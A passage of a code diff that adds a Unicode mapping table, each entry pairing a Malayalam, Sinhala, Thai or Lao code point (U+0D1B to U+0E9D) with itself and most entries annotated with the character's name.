+ ["\u0D1B", "\u0D1B"], /* MALAYALAM LETTER CHA */
+ ["\u0D1C", "\u0D1C"], /* MALAYALAM LETTER JA */
+ ["\u0D1D", "\u0D1D"], /* MALAYALAM LETTER JHA */
+ ["\u0D1E", "\u0D1E"], /* MALAYALAM LETTER NYA */
+ ["\u0D1F", "\u0D1F"], /* MALAYALAM LETTER TTA */
+ ["\u0D20", "\u0D20"], /* MALAYALAM LETTER TTHA */
+ ["\u0D21", "\u0D21"], /* MALAYALAM LETTER DDA */
+ ["\u0D22", "\u0D22"], /* MALAYALAM LETTER DDHA */
+ ["\u0D23", "\u0D23"], /* MALAYALAM LETTER NNA */
+ ["\u0D24", "\u0D24"], /* MALAYALAM LETTER TA */
+ ["\u0D25", "\u0D25"], /* MALAYALAM LETTER THA */
+ ["\u0D26", "\u0D26"], /* MALAYALAM LETTER DA */
+ ["\u0D27", "\u0D27"], /* MALAYALAM LETTER DHA */
+ ["\u0D28", "\u0D28"], /* MALAYALAM LETTER NA */
+ ["\u0D29", "\u0D29"], /* MALAYALAM LETTER NNNA */
+ ["\u0D2A", "\u0D2A"], /* MALAYALAM LETTER PA */
+ ["\u0D2B", "\u0D2B"], /* MALAYALAM LETTER PHA */
+ ["\u0D2C", "\u0D2C"], /* MALAYALAM LETTER BA */
+ ["\u0D2D", "\u0D2D"], /* MALAYALAM LETTER BHA */
+ ["\u0D2E", "\u0D2E"], /* MALAYALAM LETTER MA */
+ ["\u0D2F", "\u0D2F"], /* MALAYALAM LETTER YA */
+ ["\u0D30", "\u0D30"], /* MALAYALAM LETTER RA */
+ ["\u0D31", "\u0D31"], /* MALAYALAM LETTER RRA */
+ ["\u0D32", "\u0D32"], /* MALAYALAM LETTER LA */
+ ["\u0D33", "\u0D33"], /* MALAYALAM LETTER LLA */
+ ["\u0D34", "\u0D34"], /* MALAYALAM LETTER LLLA */
+ ["\u0D35", "\u0D35"], /* MALAYALAM LETTER VA */
+ ["\u0D36", "\u0D36"], /* MALAYALAM LETTER SHA */
+ ["\u0D37", "\u0D37"], /* MALAYALAM LETTER SSA */
+ ["\u0D38", "\u0D38"], /* MALAYALAM LETTER SA */
+ ["\u0D39", "\u0D39"], /* MALAYALAM LETTER HA */
+ ["\u0D3A", "\u0D3A"], /* MALAYALAM LETTER TTTA */
+ ["\u0D3B", "\u0D3B"], /* MALAYALAM SIGN VERTICAL BAR VIRAMA */
+ ["\u0D3C", "\u0D3C"], /* MALAYALAM SIGN CIRCULAR VIRAMA */
+ ["\u0D3D", "\u0D3D"], /* MALAYALAM SIGN AVAGRAHA */
+ ["\u0D3E", "\u0D3E"], /* MALAYALAM VOWEL SIGN AA */
+ ["\u0D3F", "\u0D3F"], /* MALAYALAM VOWEL SIGN I */
+ ["\u0D40", "\u0D40"], /* MALAYALAM VOWEL SIGN II */
+ ["\u0D41", "\u0D41"], /* MALAYALAM VOWEL SIGN U */
+ ["\u0D42", "\u0D42"], /* MALAYALAM VOWEL SIGN UU */
+ ["\u0D43", "\u0D43"], /* MALAYALAM VOWEL SIGN VOCALIC R */
+ ["\u0D44", "\u0D44"], /* MALAYALAM VOWEL SIGN VOCALIC RR */
+ ["\u0D45", "\u0D45"],
+ ["\u0D46", "\u0D46"], /* MALAYALAM VOWEL SIGN E */
+ ["\u0D47", "\u0D47"], /* MALAYALAM VOWEL SIGN EE */
+ ["\u0D48", "\u0D48"], /* MALAYALAM VOWEL SIGN AI */
+ ["\u0D49", "\u0D49"],
+ ["\u0D4A", "\u0D4A"], /* MALAYALAM VOWEL SIGN O */
+ ["\u0D4B", "\u0D4B"], /* MALAYALAM VOWEL SIGN OO */
+ ["\u0D4C", "\u0D4C"], /* MALAYALAM VOWEL SIGN AU */
+ ["\u0D4D", "\u0D4D"], /* MALAYALAM SIGN VIRAMA */
+ ["\u0D4E", "\u0D4E"], /* MALAYALAM LETTER DOT REPH */
+ ["\u0D4F", "\u0D4F"], /* MALAYALAM SIGN PARA */
+ ["\u0D50", "\u0D50"],
+ ["\u0D51", "\u0D51"],
+ ["\u0D52", "\u0D52"],
+ ["\u0D53", "\u0D53"],
+ ["\u0D54", "\u0D54"], /* MALAYALAM LETTER CHILLU M */
+ ["\u0D55", "\u0D55"], /* MALAYALAM LETTER CHILLU Y */
+ ["\u0D56", "\u0D56"], /* MALAYALAM LETTER CHILLU LLL */
+ ["\u0D57", "\u0D57"], /* MALAYALAM AU LENGTH MARK */
+ ["\u0D58", "\u0D58"], /* MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH */
+ ["\u0D59", "\u0D59"], /* MALAYALAM FRACTION ONE FORTIETH */
+ ["\u0D5A", "\u0D5A"], /* MALAYALAM FRACTION THREE EIGHTIETHS */
+ ["\u0D5B", "\u0D5B"], /* MALAYALAM FRACTION ONE TWENTIETH */
+ ["\u0D5C", "\u0D5C"], /* MALAYALAM FRACTION ONE TENTH */
+ ["\u0D5D", "\u0D5D"], /* MALAYALAM FRACTION THREE TWENTIETHS */
+ ["\u0D5E", "\u0D5E"], /* MALAYALAM FRACTION ONE FIFTH */
+ ["\u0D5F", "\u0D5F"], /* MALAYALAM LETTER ARCHAIC II */
+ ["\u0D60", "\u0D60"], /* MALAYALAM LETTER VOCALIC RR */
+ ["\u0D61", "\u0D61"], /* MALAYALAM LETTER VOCALIC LL */
+ ["\u0D62", "\u0D62"], /* MALAYALAM VOWEL SIGN VOCALIC L */
+ ["\u0D63", "\u0D63"], /* MALAYALAM VOWEL SIGN VOCALIC LL */
+ ["\u0D64", "\u0D64"],
+ ["\u0D65", "\u0D65"],
+ ["\u0D66", "\u0D66"], /* MALAYALAM DIGIT ZERO */
+ ["\u0D67", "\u0D67"], /* MALAYALAM DIGIT ONE */
+ ["\u0D68", "\u0D68"], /* MALAYALAM DIGIT TWO */
+ ["\u0D69", "\u0D69"], /* MALAYALAM DIGIT THREE */
+ ["\u0D6A", "\u0D6A"], /* MALAYALAM DIGIT FOUR */
+ ["\u0D6B", "\u0D6B"], /* MALAYALAM DIGIT FIVE */
+ ["\u0D6C", "\u0D6C"], /* MALAYALAM DIGIT SIX */
+ ["\u0D6D", "\u0D6D"], /* MALAYALAM DIGIT SEVEN */
+ ["\u0D6E", "\u0D6E"], /* MALAYALAM DIGIT EIGHT */
+ ["\u0D6F", "\u0D6F"], /* MALAYALAM DIGIT NINE */
+ ["\u0D70", "\u0D70"], /* MALAYALAM NUMBER TEN */
+ ["\u0D71", "\u0D71"], /* MALAYALAM NUMBER ONE HUNDRED */
+ ["\u0D72", "\u0D72"], /* MALAYALAM NUMBER ONE THOUSAND */
+ ["\u0D73", "\u0D73"], /* MALAYALAM FRACTION ONE QUARTER */
+ ["\u0D74", "\u0D74"], /* MALAYALAM FRACTION ONE HALF */
+ ["\u0D75", "\u0D75"], /* MALAYALAM FRACTION THREE QUARTERS */
+ ["\u0D76", "\u0D76"], /* MALAYALAM FRACTION ONE SIXTEENTH */
+ ["\u0D77", "\u0D77"], /* MALAYALAM FRACTION ONE EIGHTH */
+ ["\u0D78", "\u0D78"], /* MALAYALAM FRACTION THREE SIXTEENTHS */
+ ["\u0D79", "\u0D79"], /* MALAYALAM DATE MARK */
+ ["\u0D7A", "\u0D7A"], /* MALAYALAM LETTER CHILLU NN */
+ ["\u0D7B", "\u0D7B"], /* MALAYALAM LETTER CHILLU N */
+ ["\u0D7C", "\u0D7C"], /* MALAYALAM LETTER CHILLU RR */
+ ["\u0D7D", "\u0D7D"], /* MALAYALAM LETTER CHILLU L */
+ ["\u0D7E", "\u0D7E"], /* MALAYALAM LETTER CHILLU LL */
+ ["\u0D7F", "\u0D7F"], /* MALAYALAM LETTER CHILLU K */
+ ["\u0D80", "\u0D80"],
+ ["\u0D81", "\u0D81"], /* SINHALA SIGN CANDRABINDU */
+ ["\u0D82", "\u0D82"], /* SINHALA SIGN ANUSVARAYA */
+ ["\u0D83", "\u0D83"], /* SINHALA SIGN VISARGAYA */
+ ["\u0D84", "\u0D84"],
+ ["\u0D85", "\u0D85"], /* SINHALA LETTER AYANNA */
+ ["\u0D86", "\u0D86"], /* SINHALA LETTER AAYANNA */
+ ["\u0D87", "\u0D87"], /* SINHALA LETTER AEYANNA */
+ ["\u0D88", "\u0D88"], /* SINHALA LETTER AEEYANNA */
+ ["\u0D89", "\u0D89"], /* SINHALA LETTER IYANNA */
+ ["\u0D8A", "\u0D8A"], /* SINHALA LETTER IIYANNA */
+ ["\u0D8B", "\u0D8B"], /* SINHALA LETTER UYANNA */
+ ["\u0D8C", "\u0D8C"], /* SINHALA LETTER UUYANNA */
+ ["\u0D8D", "\u0D8D"], /* SINHALA LETTER IRUYANNA */
+ ["\u0D8E", "\u0D8E"], /* SINHALA LETTER IRUUYANNA */
+ ["\u0D8F", "\u0D8F"], /* SINHALA LETTER ILUYANNA */
+ ["\u0D90", "\u0D90"], /* SINHALA LETTER ILUUYANNA */
+ ["\u0D91", "\u0D91"], /* SINHALA LETTER EYANNA */
+ ["\u0D92", "\u0D92"], /* SINHALA LETTER EEYANNA */
+ ["\u0D93", "\u0D93"], /* SINHALA LETTER AIYANNA */
+ ["\u0D94", "\u0D94"], /* SINHALA LETTER OYANNA */
+ ["\u0D95", "\u0D95"], /* SINHALA LETTER OOYANNA */
+ ["\u0D96", "\u0D96"], /* SINHALA LETTER AUYANNA */
+ ["\u0D97", "\u0D97"],
+ ["\u0D98", "\u0D98"],
+ ["\u0D99", "\u0D99"],
+ ["\u0D9A", "\u0D9A"], /* SINHALA LETTER ALPAPRAANA KAYANNA */
+ ["\u0D9B", "\u0D9B"], /* SINHALA LETTER MAHAAPRAANA KAYANNA */
+ ["\u0D9C", "\u0D9C"], /* SINHALA LETTER ALPAPRAANA GAYANNA */
+ ["\u0D9D", "\u0D9D"], /* SINHALA LETTER MAHAAPRAANA GAYANNA */
+ ["\u0D9E", "\u0D9E"], /* SINHALA LETTER KANTAJA NAASIKYAYA */
+ ["\u0D9F", "\u0D9F"], /* SINHALA LETTER SANYAKA GAYANNA */
+ ["\u0DA0", "\u0DA0"], /* SINHALA LETTER ALPAPRAANA CAYANNA */
+ ["\u0DA1", "\u0DA1"], /* SINHALA LETTER MAHAAPRAANA CAYANNA */
+ ["\u0DA2", "\u0DA2"], /* SINHALA LETTER ALPAPRAANA JAYANNA */
+ ["\u0DA3", "\u0DA3"], /* SINHALA LETTER MAHAAPRAANA JAYANNA */
+ ["\u0DA4", "\u0DA4"], /* SINHALA LETTER TAALUJA NAASIKYAYA */
+ ["\u0DA5", "\u0DA5"], /* SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA */
+ ["\u0DA6", "\u0DA6"], /* SINHALA LETTER SANYAKA JAYANNA */
+ ["\u0DA7", "\u0DA7"], /* SINHALA LETTER ALPAPRAANA TTAYANNA */
+ ["\u0DA8", "\u0DA8"], /* SINHALA LETTER MAHAAPRAANA TTAYANNA */
+ ["\u0DA9", "\u0DA9"], /* SINHALA LETTER ALPAPRAANA DDAYANNA */
+ ["\u0DAA", "\u0DAA"], /* SINHALA LETTER MAHAAPRAANA DDAYANNA */
+ ["\u0DAB", "\u0DAB"], /* SINHALA LETTER MUURDHAJA NAYANNA */
+ ["\u0DAC", "\u0DAC"], /* SINHALA LETTER SANYAKA DDAYANNA */
+ ["\u0DAD", "\u0DAD"], /* SINHALA LETTER ALPAPRAANA TAYANNA */
+ ["\u0DAE", "\u0DAE"], /* SINHALA LETTER MAHAAPRAANA TAYANNA */
+ ["\u0DAF", "\u0DAF"], /* SINHALA LETTER ALPAPRAANA DAYANNA */
+ ["\u0DB0", "\u0DB0"], /* SINHALA LETTER MAHAAPRAANA DAYANNA */
+ ["\u0DB1", "\u0DB1"], /* SINHALA LETTER DANTAJA NAYANNA */
+ ["\u0DB2", "\u0DB2"],
+ ["\u0DB3", "\u0DB3"], /* SINHALA LETTER SANYAKA DAYANNA */
+ ["\u0DB4", "\u0DB4"], /* SINHALA LETTER ALPAPRAANA PAYANNA */
+ ["\u0DB5", "\u0DB5"], /* SINHALA LETTER MAHAAPRAANA PAYANNA */
+ ["\u0DB6", "\u0DB6"], /* SINHALA LETTER ALPAPRAANA BAYANNA */
+ ["\u0DB7", "\u0DB7"], /* SINHALA LETTER MAHAAPRAANA BAYANNA */
+ ["\u0DB8", "\u0DB8"], /* SINHALA LETTER MAYANNA */
+ ["\u0DB9", "\u0DB9"], /* SINHALA LETTER AMBA BAYANNA */
+ ["\u0DBA", "\u0DBA"], /* SINHALA LETTER YAYANNA */
+ ["\u0DBB", "\u0DBB"], /* SINHALA LETTER RAYANNA */
+ ["\u0DBC", "\u0DBC"],
+ ["\u0DBD", "\u0DBD"], /* SINHALA LETTER DANTAJA LAYANNA */
+ ["\u0DBE", "\u0DBE"],
+ ["\u0DBF", "\u0DBF"],
+ ["\u0DC0", "\u0DC0"], /* SINHALA LETTER VAYANNA */
+ ["\u0DC1", "\u0DC1"], /* SINHALA LETTER TAALUJA SAYANNA */
+ ["\u0DC2", "\u0DC2"], /* SINHALA LETTER MUURDHAJA SAYANNA */
+ ["\u0DC3", "\u0DC3"], /* SINHALA LETTER DANTAJA SAYANNA */
+ ["\u0DC4", "\u0DC4"], /* SINHALA LETTER HAYANNA */
+ ["\u0DC5", "\u0DC5"], /* SINHALA LETTER MUURDHAJA LAYANNA */
+ ["\u0DC6", "\u0DC6"], /* SINHALA LETTER FAYANNA */
+ ["\u0DC7", "\u0DC7"],
+ ["\u0DC8", "\u0DC8"],
+ ["\u0DC9", "\u0DC9"],
+ ["\u0DCA", "\u0DCA"], /* SINHALA SIGN AL-LAKUNA */
+ ["\u0DCB", "\u0DCB"],
+ ["\u0DCC", "\u0DCC"],
+ ["\u0DCD", "\u0DCD"],
+ ["\u0DCE", "\u0DCE"],
+ ["\u0DCF", "\u0DCF"], /* SINHALA VOWEL SIGN AELA-PILLA */
+ ["\u0DD0", "\u0DD0"], /* SINHALA VOWEL SIGN KETTI AEDA-PILLA */
+ ["\u0DD1", "\u0DD1"], /* SINHALA VOWEL SIGN DIGA AEDA-PILLA */
+ ["\u0DD2", "\u0DD2"], /* SINHALA VOWEL SIGN KETTI IS-PILLA */
+ ["\u0DD3", "\u0DD3"], /* SINHALA VOWEL SIGN DIGA IS-PILLA */
+ ["\u0DD4", "\u0DD4"], /* SINHALA VOWEL SIGN KETTI PAA-PILLA */
+ ["\u0DD5", "\u0DD5"],
+ ["\u0DD6", "\u0DD6"], /* SINHALA VOWEL SIGN DIGA PAA-PILLA */
+ ["\u0DD7", "\u0DD7"],
+ ["\u0DD8", "\u0DD8"], /* SINHALA VOWEL SIGN GAETTA-PILLA */
+ ["\u0DD9", "\u0DD9"], /* SINHALA VOWEL SIGN KOMBUVA */
+ ["\u0DDA", "\u0DDA"], /* SINHALA VOWEL SIGN DIGA KOMBUVA */
+ ["\u0DDB", "\u0DDB"], /* SINHALA VOWEL SIGN KOMBU DEKA */
+ ["\u0DDC", "\u0DDC"], /* SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA */
+ ["\u0DDD", "\u0DDD"], /* SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA */
+ ["\u0DDE", "\u0DDE"], /* SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA */
+ ["\u0DDF", "\u0DDF"], /* SINHALA VOWEL SIGN GAYANUKITTA */
+ ["\u0DE0", "\u0DE0"],
+ ["\u0DE1", "\u0DE1"],
+ ["\u0DE2", "\u0DE2"],
+ ["\u0DE3", "\u0DE3"],
+ ["\u0DE4", "\u0DE4"],
+ ["\u0DE5", "\u0DE5"],
+ ["\u0DE6", "\u0DE6"], /* SINHALA LITH DIGIT ZERO */
+ ["\u0DE7", "\u0DE7"], /* SINHALA LITH DIGIT ONE */
+ ["\u0DE8", "\u0DE8"], /* SINHALA LITH DIGIT TWO */
+ ["\u0DE9", "\u0DE9"], /* SINHALA LITH DIGIT THREE */
+ ["\u0DEA", "\u0DEA"], /* SINHALA LITH DIGIT FOUR */
+ ["\u0DEB", "\u0DEB"], /* SINHALA LITH DIGIT FIVE */
+ ["\u0DEC", "\u0DEC"], /* SINHALA LITH DIGIT SIX */
+ ["\u0DED", "\u0DED"], /* SINHALA LITH DIGIT SEVEN */
+ ["\u0DEE", "\u0DEE"], /* SINHALA LITH DIGIT EIGHT */
+ ["\u0DEF", "\u0DEF"], /* SINHALA LITH DIGIT NINE */
+ ["\u0DF0", "\u0DF0"],
+ ["\u0DF1", "\u0DF1"],
+ ["\u0DF2", "\u0DF2"], /* SINHALA VOWEL SIGN DIGA GAETTA-PILLA */
+ ["\u0DF3", "\u0DF3"], /* SINHALA VOWEL SIGN DIGA GAYANUKITTA */
+ ["\u0DF4", "\u0DF4"], /* SINHALA PUNCTUATION KUNDDALIYA */
+ ["\u0DF5", "\u0DF5"],
+ ["\u0DF6", "\u0DF6"],
+ ["\u0DF7", "\u0DF7"],
+ ["\u0DF8", "\u0DF8"],
+ ["\u0DF9", "\u0DF9"],
+ ["\u0DFA", "\u0DFA"],
+ ["\u0DFB", "\u0DFB"],
+ ["\u0DFC", "\u0DFC"],
+ ["\u0DFD", "\u0DFD"],
+ ["\u0DFE", "\u0DFE"],
+ ["\u0DFF", "\u0DFF"],
+ ["\u0E00", "\u0E00"],
+ ["\u0E01", "\u0E01"], /* THAI CHARACTER KO KAI (THAI LETTER KO KAI) */
+ ["\u0E02", "\u0E02"], /* THAI CHARACTER KHO KHAI (THAI LETTER KHO KHAI) */
+ ["\u0E03", "\u0E03"], /* THAI CHARACTER KHO KHUAT (THAI LETTER KHO KHUAT) */
+ ["\u0E04", "\u0E04"], /* THAI CHARACTER KHO KHWAI (THAI LETTER KHO KHWAI) */
+ ["\u0E05", "\u0E05"], /* THAI CHARACTER KHO KHON (THAI LETTER KHO KHON) */
+ ["\u0E06", "\u0E06"], /* THAI CHARACTER KHO RAKHANG (THAI LETTER KHO RAKHANG) */
+ ["\u0E07", "\u0E07"], /* THAI CHARACTER NGO NGU (THAI LETTER NGO NGU) */
+ ["\u0E08", "\u0E08"], /* THAI CHARACTER CHO CHAN (THAI LETTER CHO CHAN) */
+ ["\u0E09", "\u0E09"], /* THAI CHARACTER CHO CHING (THAI LETTER CHO CHING) */
+ ["\u0E0A", "\u0E0A"], /* THAI CHARACTER CHO CHANG (THAI LETTER CHO CHANG) */
+ ["\u0E0B", "\u0E0B"], /* THAI CHARACTER SO SO (THAI LETTER SO SO) */
+ ["\u0E0C", "\u0E0C"], /* THAI CHARACTER CHO CHOE (THAI LETTER CHO CHOE) */
+ ["\u0E0D", "\u0E0D"], /* THAI CHARACTER YO YING (THAI LETTER YO YING) */
+ ["\u0E0E", "\u0E0E"], /* THAI CHARACTER DO CHADA (THAI LETTER DO CHADA) */
+ ["\u0E0F", "\u0E0F"], /* THAI CHARACTER TO PATAK (THAI LETTER TO PATAK) */
+ ["\u0E10", "\u0E10"], /* THAI CHARACTER THO THAN (THAI LETTER THO THAN) */
+ ["\u0E11", "\u0E11"], /* THAI CHARACTER THO NANGMONTHO (THAI LETTER THO NANGMONTHO) */
+ ["\u0E12", "\u0E12"], /* THAI CHARACTER THO PHUTHAO (THAI LETTER THO PHUTHAO) */
+ ["\u0E13", "\u0E13"], /* THAI CHARACTER NO NEN (THAI LETTER NO NEN) */
+ ["\u0E14", "\u0E14"], /* THAI CHARACTER DO DEK (THAI LETTER DO DEK) */
+ ["\u0E15", "\u0E15"], /* THAI CHARACTER TO TAO (THAI LETTER TO TAO) */
+ ["\u0E16", "\u0E16"], /* THAI CHARACTER THO THUNG (THAI LETTER THO THUNG) */
+ ["\u0E17", "\u0E17"], /* THAI CHARACTER THO THAHAN (THAI LETTER THO THAHAN) */
+ ["\u0E18", "\u0E18"], /* THAI CHARACTER THO THONG (THAI LETTER THO THONG) */
+ ["\u0E19", "\u0E19"], /* THAI CHARACTER NO NU (THAI LETTER NO NU) */
+ ["\u0E1A", "\u0E1A"], /* THAI CHARACTER BO BAIMAI (THAI LETTER BO BAIMAI) */
+ ["\u0E1B", "\u0E1B"], /* THAI CHARACTER PO PLA (THAI LETTER PO PLA) */
+ ["\u0E1C", "\u0E1C"], /* THAI CHARACTER PHO PHUNG (THAI LETTER PHO PHUNG) */
+ ["\u0E1D", "\u0E1D"], /* THAI CHARACTER FO FA (THAI LETTER FO FA) */
+ ["\u0E1E", "\u0E1E"], /* THAI CHARACTER PHO PHAN (THAI LETTER PHO PHAN) */
+ ["\u0E1F", "\u0E1F"], /* THAI CHARACTER FO FAN (THAI LETTER FO FAN) */
+ ["\u0E20", "\u0E20"], /* THAI CHARACTER PHO SAMPHAO (THAI LETTER PHO SAMPHAO) */
+ ["\u0E21", "\u0E21"], /* THAI CHARACTER MO MA (THAI LETTER MO MA) */
+ ["\u0E22", "\u0E22"], /* THAI CHARACTER YO YAK (THAI LETTER YO YAK) */
+ ["\u0E23", "\u0E23"], /* THAI CHARACTER RO RUA (THAI LETTER RO RUA) */
+ ["\u0E24", "\u0E24"], /* THAI CHARACTER RU (THAI LETTER RU) */
+ ["\u0E25", "\u0E25"], /* THAI CHARACTER LO LING (THAI LETTER LO LING) */
+ ["\u0E26", "\u0E26"], /* THAI CHARACTER LU (THAI LETTER LU) */
+ ["\u0E27", "\u0E27"], /* THAI CHARACTER WO WAEN (THAI LETTER WO WAEN) */
+ ["\u0E28", "\u0E28"], /* THAI CHARACTER SO SALA (THAI LETTER SO SALA) */
+ ["\u0E29", "\u0E29"], /* THAI CHARACTER SO RUSI (THAI LETTER SO RUSI) */
+ ["\u0E2A", "\u0E2A"], /* THAI CHARACTER SO SUA (THAI LETTER SO SUA) */
+ ["\u0E2B", "\u0E2B"], /* THAI CHARACTER HO HIP (THAI LETTER HO HIP) */
+ ["\u0E2C", "\u0E2C"], /* THAI CHARACTER LO CHULA (THAI LETTER LO CHULA) */
+ ["\u0E2D", "\u0E2D"], /* THAI CHARACTER O ANG (THAI LETTER O ANG) */
+ ["\u0E2E", "\u0E2E"], /* THAI CHARACTER HO NOKHUK (THAI LETTER HO NOK HUK) */
+ ["\u0E2F", "\u0E2F"], /* THAI CHARACTER PAIYANNOI (THAI PAI YAN NOI) */
+ ["\u0E30", "\u0E30"], /* THAI CHARACTER SARA A (THAI VOWEL SIGN SARA A) */
+ ["\u0E31", "\u0E31"], /* THAI CHARACTER MAI HAN-AKAT (THAI VOWEL SIGN MAI HAN-AKAT) */
+ ["\u0E32", "\u0E32"], /* THAI CHARACTER SARA AA (THAI VOWEL SIGN SARA AA) */
+ ["\u0E33", "\u0E33"], /* THAI CHARACTER SARA AM (THAI VOWEL SIGN SARA AM) */
+ ["\u0E34", "\u0E34"], /* THAI CHARACTER SARA I (THAI VOWEL SIGN SARA I) */
+ ["\u0E35", "\u0E35"], /* THAI CHARACTER SARA II (THAI VOWEL SIGN SARA II) */
+ ["\u0E36", "\u0E36"], /* THAI CHARACTER SARA UE (THAI VOWEL SIGN SARA UE) */
+ ["\u0E37", "\u0E37"], /* THAI CHARACTER SARA UEE (THAI VOWEL SIGN SARA UEE) */
+ ["\u0E38", "\u0E38"], /* THAI CHARACTER SARA U (THAI VOWEL SIGN SARA U) */
+ ["\u0E39", "\u0E39"], /* THAI CHARACTER SARA UU (THAI VOWEL SIGN SARA UU) */
+ ["\u0E3A", "\u0E3A"], /* THAI CHARACTER PHINTHU (THAI VOWEL SIGN PHINTHU) */
+ ["\u0E3B", "\u0E3B"],
+ ["\u0E3C", "\u0E3C"],
+ ["\u0E3D", "\u0E3D"],
+ ["\u0E3E", "\u0E3E"],
+ ["\u0E3F", "\u0E3F"], /* THAI CURRENCY SYMBOL BAHT (THAI BAHT SIGN) */
+ ["\u0E40", "\u0E40"], /* THAI CHARACTER SARA E (THAI VOWEL SIGN SARA E) */
+ ["\u0E41", "\u0E41"], /* THAI CHARACTER SARA AE (THAI VOWEL SIGN SARA AE) */
+ ["\u0E42", "\u0E42"], /* THAI CHARACTER SARA O (THAI VOWEL SIGN SARA O) */
+ ["\u0E43", "\u0E43"], /* THAI CHARACTER SARA AI MAIMUAN (THAI VOWEL SIGN SARA MAI MUAN) */
+ ["\u0E44", "\u0E44"], /* THAI CHARACTER SARA AI MAIMALAI (THAI VOWEL SIGN SARA MAI MALAI) */
+ ["\u0E45", "\u0E45"], /* THAI CHARACTER LAKKHANGYAO (THAI LAK KHANG YAO) */
+ ["\u0E46", "\u0E46"], /* THAI CHARACTER MAIYAMOK (THAI MAI YAMOK) */
+ ["\u0E47", "\u0E47"], /* THAI CHARACTER MAITAIKHU (THAI VOWEL SIGN MAI TAI KHU) */
+ ["\u0E48", "\u0E48"], /* THAI CHARACTER MAI EK (THAI TONE MAI EK) */
+ ["\u0E49", "\u0E49"], /* THAI CHARACTER MAI THO (THAI TONE MAI THO) */
+ ["\u0E4A", "\u0E4A"], /* THAI CHARACTER MAI TRI (THAI TONE MAI TRI) */
+ ["\u0E4B", "\u0E4B"], /* THAI CHARACTER MAI CHATTAWA (THAI TONE MAI CHATTAWA) */
+ ["\u0E4C", "\u0E4C"], /* THAI CHARACTER THANTHAKHAT (THAI THANTHAKHAT) */
+ ["\u0E4D", "\u0E4D"], /* THAI CHARACTER NIKHAHIT (THAI NIKKHAHIT) */
+ ["\u0E4E", "\u0E4E"], /* THAI CHARACTER YAMAKKAN (THAI YAMAKKAN) */
+ ["\u0E4F", "\u0E4F"], /* THAI CHARACTER FONGMAN (THAI FONGMAN) */
+ ["\u0E50", "\u0E50"], /* THAI DIGIT ZERO */
+ ["\u0E51", "\u0E51"], /* THAI DIGIT ONE */
+ ["\u0E52", "\u0E52"], /* THAI DIGIT TWO */
+ ["\u0E53", "\u0E53"], /* THAI DIGIT THREE */
+ ["\u0E54", "\u0E54"], /* THAI DIGIT FOUR */
+ ["\u0E55", "\u0E55"], /* THAI DIGIT FIVE */
+ ["\u0E56", "\u0E56"], /* THAI DIGIT SIX */
+ ["\u0E57", "\u0E57"], /* THAI DIGIT SEVEN */
+ ["\u0E58", "\u0E58"], /* THAI DIGIT EIGHT */
+ ["\u0E59", "\u0E59"], /* THAI DIGIT NINE */
+ ["\u0E5A", "\u0E5A"], /* THAI CHARACTER ANGKHANKHU (THAI ANGKHANKHU) */
+ ["\u0E5B", "\u0E5B"], /* THAI CHARACTER KHOMUT (THAI KHOMUT) */
+ ["\u0E5C", "\u0E5C"],
+ ["\u0E5D", "\u0E5D"],
+ ["\u0E5E", "\u0E5E"],
+ ["\u0E5F", "\u0E5F"],
+ ["\u0E60", "\u0E60"],
+ ["\u0E61", "\u0E61"],
+ ["\u0E62", "\u0E62"],
+ ["\u0E63", "\u0E63"],
+ ["\u0E64", "\u0E64"],
+ ["\u0E65", "\u0E65"],
+ ["\u0E66", "\u0E66"],
+ ["\u0E67", "\u0E67"],
+ ["\u0E68", "\u0E68"],
+ ["\u0E69", "\u0E69"],
+ ["\u0E6A", "\u0E6A"],
+ ["\u0E6B", "\u0E6B"],
+ ["\u0E6C", "\u0E6C"],
+ ["\u0E6D", "\u0E6D"],
+ ["\u0E6E", "\u0E6E"],
+ ["\u0E6F", "\u0E6F"],
+ ["\u0E70", "\u0E70"],
+ ["\u0E71", "\u0E71"],
+ ["\u0E72", "\u0E72"],
+ ["\u0E73", "\u0E73"],
+ ["\u0E74", "\u0E74"],
+ ["\u0E75", "\u0E75"],
+ ["\u0E76", "\u0E76"],
+ ["\u0E77", "\u0E77"],
+ ["\u0E78", "\u0E78"],
+ ["\u0E79", "\u0E79"],
+ ["\u0E7A", "\u0E7A"],
+ ["\u0E7B", "\u0E7B"],
+ ["\u0E7C", "\u0E7C"],
+ ["\u0E7D", "\u0E7D"],
+ ["\u0E7E", "\u0E7E"],
+ ["\u0E7F", "\u0E7F"],
+ ["\u0E80", "\u0E80"],
+ ["\u0E81", "\u0E81"], /* LAO LETTER KO */
+ ["\u0E82", "\u0E82"], /* LAO LETTER KHO SUNG */
+ ["\u0E83", "\u0E83"],
+ ["\u0E84", "\u0E84"], /* LAO LETTER KHO TAM */
+ ["\u0E85", "\u0E85"],
+ ["\u0E86", "\u0E86"], /* LAO LETTER PALI GHA */
+ ["\u0E87", "\u0E87"], /* LAO LETTER NGO */
+ ["\u0E88", "\u0E88"], /* LAO LETTER CO */
+ ["\u0E89", "\u0E89"], /* LAO LETTER PALI CHA */
+ ["\u0E8A", "\u0E8A"], /* LAO LETTER SO TAM */
+ ["\u0E8B", "\u0E8B"],
+ ["\u0E8C", "\u0E8C"], /* LAO LETTER PALI JHA */
+ ["\u0E8D", "\u0E8D"], /* LAO LETTER NYO */
+ ["\u0E8E", "\u0E8E"], /* LAO LETTER PALI NYA */
+ ["\u0E8F", "\u0E8F"], /* LAO LETTER PALI TTA */
+ ["\u0E90", "\u0E90"], /* LAO LETTER PALI TTHA */
+ ["\u0E91", "\u0E91"], /* LAO LETTER PALI DDA */
+ ["\u0E92", "\u0E92"], /* LAO LETTER PALI DDHA */
+ ["\u0E93", "\u0E93"], /* LAO LETTER PALI NNA */
+ ["\u0E94", "\u0E94"], /* LAO LETTER DO */
+ ["\u0E95", "\u0E95"], /* LAO LETTER TO */
+ ["\u0E96", "\u0E96"], /* LAO LETTER THO SUNG */
+ ["\u0E97", "\u0E97"], /* LAO LETTER THO TAM */
+ ["\u0E98", "\u0E98"], /* LAO LETTER PALI DHA */
+ ["\u0E99", "\u0E99"], /* LAO LETTER NO */
+ ["\u0E9A", "\u0E9A"], /* LAO LETTER BO */
+ ["\u0E9B", "\u0E9B"], /* LAO LETTER PO */
+ ["\u0E9C", "\u0E9C"], /* LAO LETTER PHO SUNG */
+ ["\u0E9D", "\u0E9D"], /* LAO LETTER FO TAM */
